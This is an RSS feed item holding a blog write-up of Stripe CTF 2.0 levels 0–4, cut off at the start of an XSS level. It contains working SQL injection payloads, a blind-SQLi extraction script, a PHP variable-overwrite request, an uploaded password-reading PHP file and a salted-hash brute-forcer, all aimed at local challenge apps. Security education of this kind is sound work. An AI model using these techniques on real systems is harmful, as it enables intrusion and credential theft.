<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"
    xmlns:dc="http://purl.org/dc/elements/1.1/">
    <channel>
        <title>Enter the void *</title>
        <link>http://blog.emillon.org</link>
        <description><![CDATA[Yet another random hacker]]></description>
        <atom:link href="http://blog.emillon.org/feeds/ctf.xml" rel="self"
                   type="application/rss+xml" />
        <lastBuildDate>Thu, 30 Aug 2012 00:00:00 UT</lastBuildDate>
        <item>
    <title>Stripe CTF 2.0 (partial) writeup</title>
    <link>http://blog.emillon.org/posts/2012-08-30-stripe-ctf-2.0.html</link>
    <description><![CDATA[<p>The <a href="https://stripe.com/blog/capture-the-flag-20">Stripe CTF 2.0</a> is over ! Massive props to <a href="https://stripe.com/">Stripe</a> for this
great edition. I was stuck on level 5 but here is a humble writeup.</p>
<h2 id="level-0-the-secret-safe">Level 0 : the Secret Safe</h2>
<p>The first level is a web application written in <a href="https://nodejs.org/">node.js</a> that holds a
password in a SQLite database.</p>
<p>The error is in following line :</p>
<div class="sourceCode" id="cb1"><pre class="sourceCode javascript"><code class="sourceCode javascript"><span id="cb1-1"><a href="#cb1-1" aria-hidden="true" tabindex="-1"></a><span class="kw">var</span> query <span class="op">=</span> <span class="st">&#39;SELECT * FROM secrets WHERE key LIKE ? || &quot;.%&quot;&#39;</span><span class="op">;</span></span></code></pre></div>
<p>“LIKE” interprets its argument as a regular expression. The solution is thus to
pass it a regular expression which matches everything : entering “%” reveals the
password.</p>
<h2 id="level-1-the-guessing-game">Level 1 : the Guessing Game</h2>
<p>Here we have the following PHP script :</p>
<div class="sourceCode" id="cb2"><pre class="sourceCode php"><code class="sourceCode php"><span id="cb2-1"><a href="#cb2-1" aria-hidden="true" tabindex="-1"></a><span class="op">&lt;</span>html<span class="op">&gt;</span></span>
<span id="cb2-2"><a href="#cb2-2" aria-hidden="true" tabindex="-1"></a>  <span class="op">&lt;</span>head<span class="op">&gt;</span></span>
<span id="cb2-3"><a href="#cb2-3" aria-hidden="true" tabindex="-1"></a>    <span class="op">&lt;</span>title<span class="op">&gt;</span>Guessing Game<span class="op">&lt;/</span>title<span class="op">&gt;</span></span>
<span id="cb2-4"><a href="#cb2-4" aria-hidden="true" tabindex="-1"></a>  <span class="op">&lt;/</span>head<span class="op">&gt;</span></span>
<span id="cb2-5"><a href="#cb2-5" aria-hidden="true" tabindex="-1"></a>  <span class="op">&lt;</span>body<span class="op">&gt;</span></span>
<span id="cb2-6"><a href="#cb2-6" aria-hidden="true" tabindex="-1"></a>    <span class="op">&lt;</span>h1<span class="op">&gt;</span>Welcome to the Guessing Game<span class="op">!&lt;/</span>h1<span class="op">&gt;</span></span>
<span id="cb2-7"><a href="#cb2-7" aria-hidden="true" tabindex="-1"></a>    <span class="op">&lt;</span>p<span class="op">&gt;</span></span>
<span id="cb2-8"><a href="#cb2-8" aria-hidden="true" tabindex="-1"></a>      Guess the secret combination below<span class="ot">,</span> <span class="op">and</span> <span class="cf">if</span> you get it right<span class="ot">,</span></span>
<span id="cb2-9"><a href="#cb2-9" aria-hidden="true" tabindex="-1"></a>      you<span class="st">&#39;ll get the password to the next level!</span></span>
<span id="cb2-10"><a href="#cb2-10" aria-hidden="true" tabindex="-1"></a><span class="st">    &lt;/p&gt;</span></span>
<span id="cb2-11"><a href="#cb2-11" aria-hidden="true" tabindex="-1"></a><span class="st">    &lt;?php</span></span>
<span id="cb2-12"><a href="#cb2-12" aria-hidden="true" tabindex="-1"></a><span class="st">      $filename = &#39;</span>secret<span class="op">-</span>combination<span class="op">.</span>txt<span class="st">&#39;;</span></span>
<span id="cb2-13"><a href="#cb2-13" aria-hidden="true" tabindex="-1"></a><span class="st">      extract($_GET);</span></span>
<span id="cb2-14"><a href="#cb2-14" aria-hidden="true" tabindex="-1"></a><span class="st">      if (isset($attempt)) {</span></span>
<span id="cb2-15"><a href="#cb2-15" aria-hidden="true" tabindex="-1"></a><span class="st">        $combination = trim(file_get_contents($filename));</span></span>
<span id="cb2-16"><a href="#cb2-16" aria-hidden="true" tabindex="-1"></a><span class="st">        if ($attempt === $combination) {</span></span>
<span id="cb2-17"><a href="#cb2-17" aria-hidden="true" tabindex="-1"></a><span class="st">          echo &quot;&lt;p&gt;How did you know the secret combination was&quot; .</span></span>
<span id="cb2-18"><a href="#cb2-18" aria-hidden="true" tabindex="-1"></a><span class="st">               &quot; $combination!?&lt;/p&gt;&quot;;</span></span>
<span id="cb2-19"><a href="#cb2-19" aria-hidden="true" tabindex="-1"></a><span class="st">          $next = file_get_contents(&#39;</span>level02<span class="op">-</span>password<span class="op">.</span>txt<span class="st">&#39;);</span></span>
<span id="cb2-20"><a href="#cb2-20" aria-hidden="true" tabindex="-1"></a><span class="st">          echo &quot;&lt;p&gt;You&#39;</span>ve earned the password to the access Level <span class="dv">2</span><span class="ot">:</span><span class="st">&quot; .</span></span>
<span id="cb2-21"><a href="#cb2-21" aria-hidden="true" tabindex="-1"></a><span class="st">               &quot;</span> <span class="va">$next</span><span class="op">&lt;/</span>p<span class="op">&gt;</span><span class="st">&quot;;</span></span>
<span id="cb2-22"><a href="#cb2-22" aria-hidden="true" tabindex="-1"></a><span class="st">        } else {</span></span>
<span id="cb2-23"><a href="#cb2-23" aria-hidden="true" tabindex="-1"></a><span class="st">          echo &quot;</span><span class="op">&lt;</span>p<span class="op">&gt;</span>Incorrect<span class="op">!</span> The secret combination is not <span class="va">$attempt</span><span class="op">&lt;/</span>p<span class="op">&gt;</span><span class="st">&quot;;</span></span>
<span id="cb2-24"><a href="#cb2-24" aria-hidden="true" tabindex="-1"></a><span class="st">        }</span></span>
<span id="cb2-25"><a href="#cb2-25" aria-hidden="true" tabindex="-1"></a><span class="st">      }</span></span>
<span id="cb2-26"><a href="#cb2-26" aria-hidden="true" tabindex="-1"></a><span class="st">    ?&gt;</span></span>
<span id="cb2-27"><a href="#cb2-27" aria-hidden="true" tabindex="-1"></a><span class="st">    &lt;form action=&quot;</span><span class="co">#&quot; method=&quot;GET&quot;&gt;</span></span>
<span id="cb2-28"><a href="#cb2-28" aria-hidden="true" tabindex="-1"></a>      <span class="op">&lt;</span>p<span class="op">&gt;&lt;</span>input type<span class="op">=</span><span class="st">&quot;text&quot;</span> name<span class="op">=</span><span class="st">&quot;attempt&quot;</span><span class="op">&gt;&lt;/</span>p<span class="op">&gt;</span></span>
<span id="cb2-29"><a href="#cb2-29" aria-hidden="true" tabindex="-1"></a>      <span class="op">&lt;</span>p<span class="op">&gt;&lt;</span>input type<span class="op">=</span><span class="st">&quot;submit&quot;</span> value<span class="op">=</span><span class="st">&quot;Guess!&quot;</span><span class="op">&gt;&lt;/</span>p<span class="op">&gt;</span></span>
<span id="cb2-30"><a href="#cb2-30" aria-hidden="true" tabindex="-1"></a>    <span class="op">&lt;/</span>form<span class="op">&gt;</span></span>
<span id="cb2-31"><a href="#cb2-31" aria-hidden="true" tabindex="-1"></a>  <span class="op">&lt;/</span>body<span class="op">&gt;</span></span>
<span id="cb2-32"><a href="#cb2-32" aria-hidden="true" tabindex="-1"></a><span class="op">&lt;/</span>html<span class="op">&gt;</span></span></code></pre></div>
<p>The intent is that the script receives an “attempt” parameter, reads a file and
compares the attempt with the file contents. But it uses a very insecure method
of doing so : the function <code>extract</code> copies its associative array argument
directly into the symbol table.</p>
<p>For example, the following script :</p>
<div class="sourceCode" id="cb3"><pre class="sourceCode php"><code class="sourceCode php"><span id="cb3-1"><a href="#cb3-1" aria-hidden="true" tabindex="-1"></a><span class="kw">&lt;?php</span></span>
<span id="cb3-2"><a href="#cb3-2" aria-hidden="true" tabindex="-1"></a><span class="va">$vars</span> <span class="op">=</span> <span class="dt">array</span>(<span class="st">&#39;a&#39;</span> =&gt; <span class="dv">2</span><span class="ot">,</span> <span class="st">&#39;b&#39;</span> =&gt; <span class="st">&#39;foo&#39;</span>)<span class="ot">;</span></span>
<span id="cb3-3"><a href="#cb3-3" aria-hidden="true" tabindex="-1"></a><span class="fu">extract</span>(<span class="va">$vars</span>)<span class="ot">;</span></span>
<span id="cb3-4"><a href="#cb3-4" aria-hidden="true" tabindex="-1"></a><span class="kw">echo</span> <span class="st">&quot;a = </span><span class="va">$a</span><span class="st">, b = </span><span class="va">$b</span><span class="sc">\n</span><span class="st">&quot;</span><span class="ot">;</span></span>
<span id="cb3-5"><a href="#cb3-5" aria-hidden="true" tabindex="-1"></a><span class="kw">?&gt;</span></span></code></pre></div>
<p>outputs :</p>
<pre><code>a = 2, b = foo</code></pre>
<p>As the argument <code>$_GET</code> is controlled by the attacker, it means that we can
overwrite any variable, including <code>$filename</code>. By providing the script the name
of another file whose contents are known, we can bypass the check. There’s a
very good candidate for such a file : <code>index.php</code> itself.</p>
<p>So, let’s url-encode the file (we also have to trim the last newline) and issue
the following GET request with curl :</p>
<pre><code>% curl localhost:8000/index.php \
    -G \
    -d filename=index.php \
    -d attempt=$(perl -MURI::Escape \
        -e &#39;{local $/; $_=&lt;&gt;;} chomp; print uri_escape $_&#39; \
        &lt;index.php)
[...]
&lt;/html&gt;!?&lt;/p&gt;&lt;p&gt;You&#39;ve earned the password to the access Level 2: dummy-password
[...]</code></pre>
<h2 id="level-2-the-social-network">Level 2 : the Social Network</h2>
<p>Level 2 is a small script, also in PHP, where you can upload a picture and
display it. But it’s also done in an insecure way :</p>
<ul>
<li>the files are uploaded in a visible folder</li>
<li>any file extension is allowed</li>
<li>the server will execute everything with a <code>.php</code> extension</li>
</ul>
<p>Have a small idea ? :) We can write a PHP script, upload it and execute from the
upload directory. If it contains code to read the secret password, we’re done :</p>
<div class="sourceCode" id="cb6"><pre class="sourceCode php"><code class="sourceCode php"><span id="cb6-1"><a href="#cb6-1" aria-hidden="true" tabindex="-1"></a><span class="kw">&lt;?php</span></span>
<span id="cb6-2"><a href="#cb6-2" aria-hidden="true" tabindex="-1"></a><span class="kw">echo</span> (<span class="fu">file_get_contents</span>(<span class="st">&quot;../password.txt&quot;</span>))<span class="ot">;</span></span>
<span id="cb6-3"><a href="#cb6-3" aria-hidden="true" tabindex="-1"></a><span class="kw">?&gt;</span></span></code></pre></div>
<h2 id="level-3-the-secret-vault">Level 3 : the Secret Vault</h2>
<p>The next level is a small application where you enter a login and a password,
and if it matches one in the database, you have access to a secret. This time it
is written in Python, using the <a href="http://flask.pocoo.org/">Flask</a> microframework. Better than PHP but it
seems that the (fictional) developer has never heard about SQL injections !</p>
<p>The relevant lines are :</p>
<div class="sourceCode" id="cb7"><pre class="sourceCode python"><code class="sourceCode python"><span id="cb7-1"><a href="#cb7-1" aria-hidden="true" tabindex="-1"></a>query <span class="op">=</span> <span class="st">&quot;&quot;&quot;SELECT id, password_hash, salt FROM users</span></span>
<span id="cb7-2"><a href="#cb7-2" aria-hidden="true" tabindex="-1"></a><span class="st">           WHERE username = &#39;</span><span class="sc">{0}</span><span class="st">&#39; LIMIT 1&quot;&quot;&quot;</span>.<span class="bu">format</span>(username)</span>
<span id="cb7-3"><a href="#cb7-3" aria-hidden="true" tabindex="-1"></a>cursor.execute(query)</span>
<span id="cb7-4"><a href="#cb7-4" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb7-5"><a href="#cb7-5" aria-hidden="true" tabindex="-1"></a>res <span class="op">=</span> cursor.fetchone()</span>
<span id="cb7-6"><a href="#cb7-6" aria-hidden="true" tabindex="-1"></a><span class="cf">if</span> <span class="kw">not</span> res:</span>
<span id="cb7-7"><a href="#cb7-7" aria-hidden="true" tabindex="-1"></a>    <span class="cf">return</span> <span class="st">&quot;There&#39;s no such user </span><span class="sc">{0}</span><span class="st">!</span><span class="ch">\n</span><span class="st">&quot;</span>.<span class="bu">format</span>(username)</span>
<span id="cb7-8"><a href="#cb7-8" aria-hidden="true" tabindex="-1"></a>user_id, password_hash, salt <span class="op">=</span> res</span>
<span id="cb7-9"><a href="#cb7-9" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb7-10"><a href="#cb7-10" aria-hidden="true" tabindex="-1"></a>calculated_hash <span class="op">=</span> hashlib.sha256(password <span class="op">+</span> salt)</span>
<span id="cb7-11"><a href="#cb7-11" aria-hidden="true" tabindex="-1"></a><span class="cf">if</span> calculated_hash.hexdigest() <span class="op">!=</span> password_hash:</span>
<span id="cb7-12"><a href="#cb7-12" aria-hidden="true" tabindex="-1"></a>    <span class="cf">return</span> <span class="st">&quot;That&#39;s not the password for </span><span class="sc">{0}</span><span class="st">!</span><span class="ch">\n</span><span class="st">&quot;</span>.<span class="bu">format</span>(username)</span></code></pre></div>
<p>The query is vulnerable to SQL injections : if <code>username</code> contains a quote, it
will close the other one. For example, if it is <code>' OR 1=1 --</code>, the full query
will be a valid one : <code>SELECT id, password_hash, salt FROM users WHERE username = '' OR 1=1 --' LIMIT 1""".format(username)</code>.</p>
<pre><code>% curl http://localhost:5000/login -d &quot;username=&#39; OR 1=1 --&quot; -d password=foo
That&#39;s not the password for &#39; OR 1=1 --!</code></pre>
<p>Note that the error message is different when the query evaluates to something
false :</p>
<pre><code>% curl http://localhost:5000/login -d &quot;username=&#39; OR 1=2 --&quot; -d password=foo
There&#39;s no such user &#39; OR 1=2 --!</code></pre>
<p>This means that we have a way to evaluate arbitrary (boolean) expressions. Using
subqueries, we can get information from the database :</p>
<pre><code>% curl http://localhost:5000/login \
  -d &quot;username=&#39; OR 1=(SELECT COUNT(*) FROM users WHERE username=&#39;bob&#39;) --&quot;\
  -d password=foo
That&#39;s not the password for &#39; OR 1=(SELECT COUNT(*) FROM users WHERE username=&#39;bob&#39;) --!
% curl http://localhost:5000/login \
  -d &quot;username=&#39; OR 1=(SELECT COUNT(*) FROM users WHERE username=&#39;alice&#39;) --&quot;\
  -d password=foo
There&#39;s no such user &#39; OR 1=(SELECT COUNT(*) FROM users WHERE username=&#39;alice&#39;) --!</code></pre>
<p>The DB contains a user named “bob” but no user named “alice”. What about his
password hash?</p>
<pre><code>% for p in $(seq 0 9) a b c d e f ; do
curl http://localhost:5000/login \
  -d &quot;username=&#39; OR 1=(SELECT COUNT(*) FROM users WHERE username=&#39;bob&#39; AND password_hash LIKE &#39;$p%&#39;) --&quot;\
  -d password=foo
done
There&#39;s no such user &#39; OR 1=(SELECT COUNT(*) FROM users WHERE username=&#39;bob&#39; AND password_hash LIKE &#39;0%&#39;) --!
There&#39;s no such user &#39; OR 1=(SELECT COUNT(*) FROM users WHERE username=&#39;bob&#39; AND password_hash LIKE &#39;1%&#39;) --!
There&#39;s no such user &#39; OR 1=(SELECT COUNT(*) FROM users WHERE username=&#39;bob&#39; AND password_hash LIKE &#39;2%&#39;) --!
There&#39;s no such user &#39; OR 1=(SELECT COUNT(*) FROM users WHERE username=&#39;bob&#39; AND password_hash LIKE &#39;3%&#39;) --!
There&#39;s no such user &#39; OR 1=(SELECT COUNT(*) FROM users WHERE username=&#39;bob&#39; AND password_hash LIKE &#39;4%&#39;) --!
There&#39;s no such user &#39; OR 1=(SELECT COUNT(*) FROM users WHERE username=&#39;bob&#39; AND password_hash LIKE &#39;5%&#39;) --!
There&#39;s no such user &#39; OR 1=(SELECT COUNT(*) FROM users WHERE username=&#39;bob&#39; AND password_hash LIKE &#39;6%&#39;) --!
There&#39;s no such user &#39; OR 1=(SELECT COUNT(*) FROM users WHERE username=&#39;bob&#39; AND password_hash LIKE &#39;7%&#39;) --!
There&#39;s no such user &#39; OR 1=(SELECT COUNT(*) FROM users WHERE username=&#39;bob&#39; AND password_hash LIKE &#39;8%&#39;) --!
There&#39;s no such user &#39; OR 1=(SELECT COUNT(*) FROM users WHERE username=&#39;bob&#39; AND password_hash LIKE &#39;9%&#39;) --!
That&#39;s not the password for &#39; OR 1=(SELECT COUNT(*) FROM users WHERE username=&#39;bob&#39; AND password_hash LIKE &#39;a%&#39;) --!
There&#39;s no such user &#39; OR 1=(SELECT COUNT(*) FROM users WHERE username=&#39;bob&#39; AND password_hash LIKE &#39;b%&#39;) --!
There&#39;s no such user &#39; OR 1=(SELECT COUNT(*) FROM users WHERE username=&#39;bob&#39; AND password_hash LIKE &#39;c%&#39;) --!
There&#39;s no such user &#39; OR 1=(SELECT COUNT(*) FROM users WHERE username=&#39;bob&#39; AND password_hash LIKE &#39;d%&#39;) --!
There&#39;s no such user &#39; OR 1=(SELECT COUNT(*) FROM users WHERE username=&#39;bob&#39; AND password_hash LIKE &#39;e%&#39;) --!
There&#39;s no such user &#39; OR 1=(SELECT COUNT(*) FROM users WHERE username=&#39;bob&#39; AND password_hash LIKE &#39;f%&#39;) --!</code></pre>
<p>So, the hash starts by a “a”. By scripting this, we can get bob’s password hash
and salt (from <code>generate_data.py</code> we know that the salt and the password are
made of 7 lowercase letters).</p>
<div class="sourceCode" id="cb12"><pre class="sourceCode python"><code class="sourceCode python"><span id="cb12-1"><a href="#cb12-1" aria-hidden="true" tabindex="-1"></a><span class="co">#!/usr/bin/env python</span></span>
<span id="cb12-2"><a href="#cb12-2" aria-hidden="true" tabindex="-1"></a><span class="im">import</span> hashlib</span>
<span id="cb12-3"><a href="#cb12-3" aria-hidden="true" tabindex="-1"></a><span class="im">import</span> itertools</span>
<span id="cb12-4"><a href="#cb12-4" aria-hidden="true" tabindex="-1"></a><span class="im">import</span> requests</span>
<span id="cb12-5"><a href="#cb12-5" aria-hidden="true" tabindex="-1"></a><span class="im">import</span> string</span>
<span id="cb12-6"><a href="#cb12-6" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb12-7"><a href="#cb12-7" aria-hidden="true" tabindex="-1"></a><span class="kw">def</span> is_ok(query):</span>
<span id="cb12-8"><a href="#cb12-8" aria-hidden="true" tabindex="-1"></a>    full_query <span class="op">=</span> <span class="st">&quot;&#39; OR 1=&quot;</span> <span class="op">+</span> query <span class="op">+</span> <span class="st">&quot; --&quot;</span></span>
<span id="cb12-9"><a href="#cb12-9" aria-hidden="true" tabindex="-1"></a>    payload <span class="op">=</span> {<span class="st">&#39;username&#39;</span>: full_query, <span class="st">&#39;password&#39;</span> : <span class="st">&#39;foo&#39;</span> }</span>
<span id="cb12-10"><a href="#cb12-10" aria-hidden="true" tabindex="-1"></a>    url <span class="op">=</span> <span class="st">&quot;http://localhost:5000/login&quot;</span></span>
<span id="cb12-11"><a href="#cb12-11" aria-hidden="true" tabindex="-1"></a>    r <span class="op">=</span> requests.post(url, data<span class="op">=</span>payload)</span>
<span id="cb12-12"><a href="#cb12-12" aria-hidden="true" tabindex="-1"></a>    <span class="cf">return</span> <span class="st">&quot;not the password for&quot;</span> <span class="kw">in</span> r.text</span>
<span id="cb12-13"><a href="#cb12-13" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb12-14"><a href="#cb12-14" aria-hidden="true" tabindex="-1"></a><span class="kw">def</span> next_char(user, field, chars, prefix):</span>
<span id="cb12-15"><a href="#cb12-15" aria-hidden="true" tabindex="-1"></a>    <span class="cf">for</span> c <span class="kw">in</span> chars:</span>
<span id="cb12-16"><a href="#cb12-16" aria-hidden="true" tabindex="-1"></a>        q <span class="op">=</span> <span class="st">&quot;(SELECT COUNT(*) FROM users &quot;</span><span class="op">\</span></span>
<span id="cb12-17"><a href="#cb12-17" aria-hidden="true" tabindex="-1"></a>            <span class="op">+</span> <span class="st">&quot;WHERE username = &#39;</span><span class="sc">{0}</span><span class="st">&#39; &quot;</span><span class="op">\</span></span>
<span id="cb12-18"><a href="#cb12-18" aria-hidden="true" tabindex="-1"></a>            <span class="op">+</span> <span class="st">&quot;AND </span><span class="sc">{1}</span><span class="st"> LIKE &#39;</span><span class="sc">{2}{3}</span><span class="st">%&#39;)&quot;</span></span>
<span id="cb12-19"><a href="#cb12-19" aria-hidden="true" tabindex="-1"></a>        <span class="cf">if</span> is_ok(q.<span class="bu">format</span>(user, field, prefix, c)):</span>
<span id="cb12-20"><a href="#cb12-20" aria-hidden="true" tabindex="-1"></a>            <span class="cf">return</span> c</span>
<span id="cb12-21"><a href="#cb12-21" aria-hidden="true" tabindex="-1"></a>    <span class="bu">print</span> prefix</span>
<span id="cb12-22"><a href="#cb12-22" aria-hidden="true" tabindex="-1"></a>    <span class="cf">return</span> <span class="va">None</span> </span>
<span id="cb12-23"><a href="#cb12-23" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb12-24"><a href="#cb12-24" aria-hidden="true" tabindex="-1"></a><span class="kw">def</span> crack(user, field, chars):</span>
<span id="cb12-25"><a href="#cb12-25" aria-hidden="true" tabindex="-1"></a>    prefix <span class="op">=</span> <span class="st">&#39;&#39;</span></span>
<span id="cb12-26"><a href="#cb12-26" aria-hidden="true" tabindex="-1"></a>    <span class="cf">while</span> <span class="va">True</span>:</span>
<span id="cb12-27"><a href="#cb12-27" aria-hidden="true" tabindex="-1"></a>        c <span class="op">=</span> next_char(user, field, chars, prefix)</span>
<span id="cb12-28"><a href="#cb12-28" aria-hidden="true" tabindex="-1"></a>        <span class="cf">if</span> c <span class="kw">is</span> <span class="va">None</span>:</span>
<span id="cb12-29"><a href="#cb12-29" aria-hidden="true" tabindex="-1"></a>            <span class="cf">return</span></span>
<span id="cb12-30"><a href="#cb12-30" aria-hidden="true" tabindex="-1"></a>        prefix <span class="op">+=</span> c</span>
<span id="cb12-31"><a href="#cb12-31" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb12-32"><a href="#cb12-32" aria-hidden="true" tabindex="-1"></a><span class="cf">if</span> <span class="va">__name__</span> <span class="op">==</span> <span class="st">&#39;__main__&#39;</span>:</span>
<span id="cb12-33"><a href="#cb12-33" aria-hidden="true" tabindex="-1"></a>    crack(<span class="st">&#39;bob&#39;</span>, <span class="st">&#39;password_hash&#39;</span>, string.hexdigits)</span>
<span id="cb12-34"><a href="#cb12-34" aria-hidden="true" tabindex="-1"></a>    crack(<span class="st">&#39;bob&#39;</span>, <span class="st">&#39;salt&#39;</span>, string.ascii_lowercase)</span></code></pre></div>
<p>And the output is something like :</p>
<pre><code>% ./level3.py
aee3d87d877c39d68e49c2c6e47789de3de40a73e2970fe2355011649932f5bb
zxqtgxi</code></pre>
<p>Gereating all strings and their hashes is a bit too slow in Python, so I put
together a small C program to do the heavy work.</p>
<div class="sourceCode" id="cb14"><pre class="sourceCode c"><code class="sourceCode c"><span id="cb14-1"><a href="#cb14-1" aria-hidden="true" tabindex="-1"></a><span class="pp">#include </span><span class="im">&lt;openssl/sha.h&gt;</span></span>
<span id="cb14-2"><a href="#cb14-2" aria-hidden="true" tabindex="-1"></a><span class="pp">#include </span><span class="im">&lt;string.h&gt;</span></span>
<span id="cb14-3"><a href="#cb14-3" aria-hidden="true" tabindex="-1"></a><span class="pp">#include </span><span class="im">&lt;stdio.h&gt;</span></span>
<span id="cb14-4"><a href="#cb14-4" aria-hidden="true" tabindex="-1"></a><span class="pp">#include </span><span class="im">&lt;stdlib.h&gt;</span></span>
<span id="cb14-5"><a href="#cb14-5" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb14-6"><a href="#cb14-6" aria-hidden="true" tabindex="-1"></a><span class="dt">int</span> main<span class="op">(</span><span class="dt">int</span> argc<span class="op">,</span> <span class="dt">char</span> <span class="op">**</span>argv<span class="op">)</span></span>
<span id="cb14-7"><a href="#cb14-7" aria-hidden="true" tabindex="-1"></a><span class="op">{</span></span>
<span id="cb14-8"><a href="#cb14-8" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb14-9"><a href="#cb14-9" aria-hidden="true" tabindex="-1"></a>    <span class="dt">char</span> salt<span class="op">[]</span> <span class="op">=</span> <span class="st">&quot;zxqtgxi&quot;</span><span class="op">;</span></span>
<span id="cb14-10"><a href="#cb14-10" aria-hidden="true" tabindex="-1"></a>    <span class="dt">unsigned</span> <span class="dt">char</span> expected_hash<span class="op">[]</span> <span class="op">=</span></span>
<span id="cb14-11"><a href="#cb14-11" aria-hidden="true" tabindex="-1"></a>        <span class="st">&quot;</span><span class="sc">\xae\xe3\xd8\x7d\x87\x7c\x39\xd6</span><span class="st">&quot;</span></span>
<span id="cb14-12"><a href="#cb14-12" aria-hidden="true" tabindex="-1"></a>        <span class="st">&quot;</span><span class="sc">\x8e\x49\xc2\xc6\xe4\x77\x89\xde</span><span class="st">&quot;</span></span>
<span id="cb14-13"><a href="#cb14-13" aria-hidden="true" tabindex="-1"></a>        <span class="st">&quot;</span><span class="sc">\x3d\xe4\x0a\x73\xe2\x97\x0f\xe2</span><span class="st">&quot;</span></span>
<span id="cb14-14"><a href="#cb14-14" aria-hidden="true" tabindex="-1"></a>        <span class="st">&quot;</span><span class="sc">\x35\x50\x11\x64\x99\x32\xf5\xbb</span><span class="st">&quot;</span><span class="op">;</span></span>
<span id="cb14-15"><a href="#cb14-15" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb14-16"><a href="#cb14-16" aria-hidden="true" tabindex="-1"></a>    <span class="dt">char</span> s<span class="op">[</span><span class="dv">15</span><span class="op">];</span></span>
<span id="cb14-17"><a href="#cb14-17" aria-hidden="true" tabindex="-1"></a>    memcpy<span class="op">(&amp;</span>s<span class="op">[</span><span class="dv">7</span><span class="op">],</span> salt<span class="op">,</span> <span class="dv">7</span><span class="op">);</span></span>
<span id="cb14-18"><a href="#cb14-18" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb14-19"><a href="#cb14-19" aria-hidden="true" tabindex="-1"></a>    <span class="dt">unsigned</span> <span class="dt">char</span> hash<span class="op">[</span>SHA256_DIGEST_LENGTH<span class="op">];</span></span>
<span id="cb14-20"><a href="#cb14-20" aria-hidden="true" tabindex="-1"></a>    SHA256_CTX sha256<span class="op">;</span></span>
<span id="cb14-21"><a href="#cb14-21" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb14-22"><a href="#cb14-22" aria-hidden="true" tabindex="-1"></a><span class="pp">#define LOOP</span><span class="op">(</span><span class="pp">n</span><span class="op">)</span><span class="pp"> </span><span class="cf">for</span><span class="op">(</span><span class="pp">s</span><span class="op">[</span><span class="pp">n</span><span class="op">]=</span><span class="ch">&#39;a&#39;</span><span class="op">;</span><span class="pp">s</span><span class="op">[</span><span class="pp">n</span><span class="op">]&lt;=</span><span class="ch">&#39;z&#39;</span><span class="op">;</span><span class="pp">s</span><span class="op">[</span><span class="pp">n</span><span class="op">]++)</span></span>
<span id="cb14-23"><a href="#cb14-23" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb14-24"><a href="#cb14-24" aria-hidden="true" tabindex="-1"></a>    LOOP<span class="op">(</span><span class="dv">0</span><span class="op">)</span> LOOP<span class="op">(</span><span class="dv">1</span><span class="op">)</span> LOOP<span class="op">(</span><span class="dv">2</span><span class="op">)</span></span>
<span id="cb14-25"><a href="#cb14-25" aria-hidden="true" tabindex="-1"></a>    LOOP<span class="op">(</span><span class="dv">3</span><span class="op">)</span> LOOP<span class="op">(</span><span class="dv">4</span><span class="op">)</span> LOOP<span class="op">(</span><span class="dv">5</span><span class="op">)</span></span>
<span id="cb14-26"><a href="#cb14-26" aria-hidden="true" tabindex="-1"></a>    LOOP<span class="op">(</span><span class="dv">6</span><span class="op">)</span> <span class="op">{</span></span>
<span id="cb14-27"><a href="#cb14-27" aria-hidden="true" tabindex="-1"></a>        SHA256_Init<span class="op">(&amp;</span>sha256<span class="op">);</span></span>
<span id="cb14-28"><a href="#cb14-28" aria-hidden="true" tabindex="-1"></a>        SHA256_Update<span class="op">(&amp;</span>sha256<span class="op">,</span> s<span class="op">,</span> <span class="dv">14</span><span class="op">);</span></span>
<span id="cb14-29"><a href="#cb14-29" aria-hidden="true" tabindex="-1"></a>        SHA256_Final<span class="op">(</span>hash<span class="op">,</span> <span class="op">&amp;</span>sha256<span class="op">);</span></span>
<span id="cb14-30"><a href="#cb14-30" aria-hidden="true" tabindex="-1"></a>        <span class="cf">if</span><span class="op">(!</span>memcmp<span class="op">(</span>hash<span class="op">,</span> expected_hash<span class="op">,</span></span>
<span id="cb14-31"><a href="#cb14-31" aria-hidden="true" tabindex="-1"></a>                    SHA256_DIGEST_LENGTH<span class="op">))</span> <span class="op">{</span></span>
<span id="cb14-32"><a href="#cb14-32" aria-hidden="true" tabindex="-1"></a>            printf<span class="op">(</span><span class="st">&quot;FOUND : </span><span class="sc">%s\n</span><span class="st">&quot;</span><span class="op">,</span> s<span class="op">);</span></span>
<span id="cb14-33"><a href="#cb14-33" aria-hidden="true" tabindex="-1"></a>            exit<span class="op">(</span><span class="dv">0</span><span class="op">);</span></span>
<span id="cb14-34"><a href="#cb14-34" aria-hidden="true" tabindex="-1"></a>        <span class="op">}</span></span>
<span id="cb14-35"><a href="#cb14-35" aria-hidden="true" tabindex="-1"></a>    <span class="op">}</span></span>
<span id="cb14-36"><a href="#cb14-36" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb14-37"><a href="#cb14-37" aria-hidden="true" tabindex="-1"></a>    <span class="cf">return</span> <span class="dv">0</span><span class="op">;</span></span>
<span id="cb14-38"><a href="#cb14-38" aria-hidden="true" tabindex="-1"></a><span class="op">}</span></span></code></pre></div>
<p>A few minutes later, we have the answer.</p>
<h2 id="level-4-the-karma-trader">Level 4 : the Karma Trader</h2>
<p>New level, new language : Ruby this time. In the application written with the
<a href="http://www.sinatrarb.com/">Sinatra</a> framework, you can create accounts and transfer an amount of karma to
another user, with the rule that once you transferred karma to a user, he can
see your password. The goal is to get <em>karma_fountain</em>’s password, with the
indication that he logs in often.</p>
<p>This is a good indication that it will be a XSS attack in <em>karma_fountain</em>’s
browser : by injecting a piece of javascript into the page, we’ll fill and
submit the transfer form. The obvious vector is the username ; alas it is
filtered :</p>
